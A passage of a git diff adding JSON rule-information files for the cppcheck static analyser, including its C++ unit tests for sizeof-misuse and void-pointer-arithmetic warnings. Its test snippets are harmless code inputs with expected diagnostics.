[arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #4908 (void pointer as a member of a struct/class)\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)(foo.data+1));\\n\"\n \" foo.data++;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:30]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:6:11]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)foo.data+1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f2(struct FOO foo) {\\n\"\n \" char x = *((char*)((FOO)foo).data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f3(struct FOO* foo) {\\n\"\n \" char x = *((char*)foo->data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"struct BOO {\\n\"\n \" FOO data;\\n\"\n \"};\\n\"\n \"void f4(struct BOO* boo) {\\n\"\n \" char c = *((char*)boo->data.data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO* foo) {\\n\"\n \" *(foo[1].data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (portability) 'foo[1].data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"void f2(struct FOO* foo) {\\n\"\n \" (foo[0]).data++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (portability) '(foo[0]).data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #6050 arithmetic on void**\n check(\"void* array[10];\\n\"\n \"void** b = array + 3;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void customStrncat() {\n // Ensure we don't crash on custom-defined strncat, ticket #5875\n check(\"char strncat ();\\n\"\n \"int main () {\\n\"\n \" return strncat ();\\n\"\n \"}\");\n }\n\n};\n\nREGISTER_TEST(TestSizeof)\n\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofFunction.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofFunction.json new file mode 100644 index 0000000..9e0a7c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/sizeofFunction.json @@ -0,0 +1,22 @@ +{ + "name": "sizeofFunction", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 28, + "branches": 10, + "apis": 32, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 150 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checksizeof.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestSizeof : public TestFixture {\npublic:\n TestSizeof() : TestFixture(\"TestSizeof\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).certainty(Certainty::inconclusive).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(sizeofsizeof);\n TEST_CASE(sizeofCalculation);\n TEST_CASE(sizeofFunction);\n TEST_CASE(checkPointerSizeof);\n TEST_CASE(checkPointerSizeofStruct);\n TEST_CASE(sizeofDivisionMemset);\n TEST_CASE(sizeofForArrayParameter);\n TEST_CASE(sizeofForNumericParameter);\n TEST_CASE(suspiciousSizeofCalculation);\n TEST_CASE(sizeofVoid);\n TEST_CASE(customStrncat);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n void sizeofsizeof() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof sizeof char;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof long);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo(long *p)\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof (p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n }\n\n void sizeofCalculation() {\n check(\"int a, b; int a,sizeof(a+b)\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(a*b)\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(-a)\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(*a)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(void * const)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(int*[2])\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(Fred**)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(foo++)\");\n ASSERT_EQUALS(\"[test.cpp:1:11]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"sizeof(--foo)\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n // #6888\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"#define VOIDCAST1 (void)\\n\"\n \"#define VOIDCAST2(SZ) static_cast(SZ)\\n\"\n \"int f(int i) {\\n\"\n \" VOIDCAST1 SIZEOF1;\\n\"\n \" VOIDCAST1 SIZEOF2;\\n\"\n \" VOIDCAST2(SIZEOF1);\\n\"\n \" VOIDCAST2(SIZEOF2);\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"int f(int i) {\\n\"\n \" SIZEOF1;\\n\"\n \" SIZEOF2;\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\"\n \"[test.cpp:5:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n checkP(\"#define MACRO(data) f(data, sizeof(data))\\n\"\n \"x = MACRO((unsigned int *)data + 4);\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n }\n\n void sizeofFunction() {\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \" int bar() const { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo * fp;int a=sizeof(fp->bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int a=sizeof(foo());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() { return 1; }; int a=sizeof(foo());\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int foo() { return 1; }; sizeof(decltype(foo()));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; int a=sizeof(foo(0))\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"char * buf; int a=sizeof(*buf);\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a=sizeof(foo())\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; char buf[1024]; int a=sizeof(buf), foo(0)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" static B f(const B &);\\n\"\n \" static A f(const A &);\\n\"\n \" static A &g();\\n\"\n \" static T &h();\\n\"\n \"\\n\"\n \" enum {\\n\"\n \" X = sizeof(f(g() >> h())) == sizeof(A),\\n\"\n \" Y = sizeof(f(g() << h())) == sizeof(A),\\n\"\n \" Z = X & Y\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"size_t f1() { return sizeof(x[0]); }\\n\"\n \"size_t f2() { return sizeof(g()); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n }\n\n void sizeofForArrayParameter() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = 2;\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = { 2 };\\n\"\n \" unsigned int b[] = { 0 };\\n\"\n \" int c[a[b[0]]];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" unsigned int a[] = { 1 };\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a[0]+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof a / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[3] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"typedef char Fixname[1000];\\n\"\n \"int f2(Fixname& f2v) {\\n\"\n \" int i = sizeof(f2v);\\n\"\n \" printf(\\\"sizeof f2v %d\\\", i);\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" p[0] = 0;\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char p[] = \\\"test\\\";\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2495\n check(\"void f() {\\n\"\n \" static float col[][3]={\\n\"\n \" {1,0,0},\\n\"\n \" {0,0,1},\\n\"\n \" {0,1,0},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" };\\n\"\n \" const int COL_MAX=sizeof(col)/sizeof(col[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #155\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[], int b) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[3] , int b[2] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*(2+1)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void sizeofForNumericParameter() {\n check(\"void f() {\\n\"\n \" std::cout << sizeof(10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof(-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof 10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof -10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n }\n\n void suspiciousSizeofCalculation() {\n check(\"void f() {\\n\"\n \" int* p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unknown p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(unknown)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p[5];\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning, inconclusive) Multiplying sizeof() with sizeof() indicates a logic error. [multiplySizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (end - source) / sizeof(encode_block_type) * sizeof(encode_block_type);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { T* t; };\\n\" // #10179\n \"int f(S* s) {\\n\"\n \" return g(sizeof(*s->t) / 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char* a[N];\\n\"\n \" for (int i = 0; i < (int)(sizeof(a) / sizeof(char*)); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int** p) {\\n\"\n \" return sizeof(p[0]) / 4;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" unsigned char* s;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s[38];\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" for (size_t i = 0; i < sizeof(t->s) / sizeof(t->s[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" struct T {\\n\"\n \" char* c[3];\\n\"\n \" } t[1];\\n\"\n \"};\\n\"\n \"void f(S* s) {\\n\"\n \" for (int i = 0; i != sizeof(s->t[0].c) / sizeof(char*); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t* buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(buf[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t*** buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(**buf[0]); i++) {}\\n\"\n \" for (int i = 0; i < len / sizeof(*buf[0][0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeof() {\n check(\"void f() {\\n\"\n \" char *x = malloc(10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = (int*)malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = static_cast(malloc(sizeof(x)));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(&x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int*));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \" int **y = malloc(sizeof(int*));\\n\"\n \" free(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x) * 100);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(*x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof *x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(int) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int fun(const char *buf1)\\n\"\n \"{\\n\"\n \" const char *buf1_ex = \\\"foobarbaz\\\";\\n\"\n \" return strncmp(buf1, buf1_ex, sizeof(buf1_ex)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (warning) Size of pointer 'buf1_ex' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\n \"int fun(const char *buf1) {\\n\"\n \" return strncmp(buf1, foo(buf2), sizeof(buf1)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Size of pointer 'buf1' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"int fun(const char *buf2) {\\n\"\n \" return strncmp(buf1, buf2, sizeof(char*)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (warning) Size of pointer 'buf2' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n // #ticket 3874\n check(\"void f()\\n\"\n \"{\\n\"\n \" int * pIntArray[10];\\n\"\n \" memset(pIntArray, 0, sizeof(pIntArray));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void FreeFileName(const char *s) {\\n\"\n \" CxString tbuf;\\n\"\n \" const char *p;\\n\"\n \" memcpy(s, siezof(s));\\n\" // non-standard memcpy\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" module_config_t *tab = module;\\n\"\n \" memset(tab + confsize, 0, sizeof(tab[confsize]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char* aug) {\\n\"\n \" memmove(aug + extra_string, aug, buf - (bfd_byte *)aug);\\n\" // #7100\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7518\n check(\"bool create_iso_definition(cpp_reader *pfile, cpp_macro *macro) {\\n\"\n \" cpp_token *token;\\n\"\n \" cpp_hashnode **params = 